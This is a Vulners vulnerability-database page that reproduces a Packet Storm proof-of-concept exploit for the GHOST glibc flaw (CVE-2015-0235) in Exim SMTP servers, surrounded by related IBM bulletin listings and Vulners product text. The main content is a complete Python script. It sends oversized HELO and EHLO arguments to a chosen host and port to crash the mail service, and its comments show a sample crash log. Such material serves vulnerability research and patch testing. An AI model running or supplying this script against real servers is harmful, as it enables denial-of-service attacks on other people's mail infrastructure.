Lucene search
K

Exim ESMTP GHOST Denial Of Service

🗓️ 29 Jan 2015 00:00:00Reported by Packet StormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 114 Views

PoC exploit script for GHOST vulnerability in Exim SMTP causing denial of service crash.

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects WebSphere Transformation Extender with Launcher Hypervisor Edition [for RHEL] (CVE-2015-0235)
16 Jun 201819:42
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects DS8000 (CVE-2015-0235)
24 May 202217:06
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM Flex System EN6131 40Gb Ethernet / IB6131 40Gb Infiniband Switch Firmware (CVE-2015-0235)
31 Jan 201901:55
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM/Cisco Switches and Directors (CVE-2015-0235)
20 Aug 202200:54
ibm
IBM Security Bulletins
IBM Security Network Protection / IBM QRadar Network Security / XGS Technote Index
31 Jan 202100:10
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM Security Network Intrusion Prevention System (CVE-2015-0235)
23 Feb 202219:48
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability is fixed in IBM Security Access Manager for Enterprise Single Sign-On Virtual Appliance (CVE-2015-0235)
16 Jun 201821:22
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects QRadar SIEM, QRadar Risk Manager, and QRadar Vulnerability Manager (CVE-2015-0235)
23 Feb 202217:02
ibm
IBM Security Bulletins
Security Bulletin: GNU C library (glibc) vulnerability affects IBM PureApplication System (CVE-2015-0235)
15 Jun 201807:02
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in GNU C library (glibc) affects SmartCloud Provisioning 2.1 for IBM Provided Software Virtual Appliance (CVE-2015-0235)
17 Jun 201822:30
ibm
Rows per page
`The below script is a PoC exploit for the GHOST vulnerability affecting Exim SMTP servers resulting in a service crash.  
  
#!/usr/bin/python  
# Exim ESMTP DoS Exploit by 1N3 v20150128  
# CVE-2015-0235 GHOST glibc gethostbyname buffer overflow  
# http://crowdshield.com  
#  
# USAGE: python ghost-smtp-dos.py <ip> <port>  
#  
# Escape character is '^]'.  
# 220 debian-7-7-64b ESMTP Exim 4.80 ...  
# HELO  
# 0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  
# Connection closed by foreign host.  
#  
# user () debian-7-7-64b:~$ dmesg  
# ...  
# [ 1715.842547] exim4[2562]: segfault at 7fabf1f0ecb8 ip 00007fabef31bd04 sp 00007fffb427d5b0 error 6 in  
# libc-2.13.so[7fabef2a2000+182000]  
  
import socket  
import time  
import sys, getopt  
  
def main(argv):  
argc = len(argv)  
  
if argc <= 1:  
print "usage: %s <host>" % (argv[0])  
sys.exit(0)  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
buffer = "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"  
  
target = argv[1] # SET TARGET  
port = argv[2] # SET PORT  
  
print "(--==== Exim ESMTP DoS Exploit by 1N3 - https://crowdshield.com"  
print "(--==== Sending GHOST SMTP DoS to " + target + ":" + port + " with length:" +str(len(buffer))  
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
connect=s.connect((target,int(port)))  
data = s.recv(1024)  
print "CONNECTION: " +data  
s.send('HELO ' + buffer + '\r\n')  
data = s.recv(1024)  
print "received: " +data  
s.send('EHLO ' + buffer + '\r\n')  
data = s.recv(1024)  
print "received: " +data  
s.close()  
  
main(sys.argv)  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

29 Jan 2015 00:00Current
7.6High risk
Vulners AI Score7.6
EPSS0.94859
114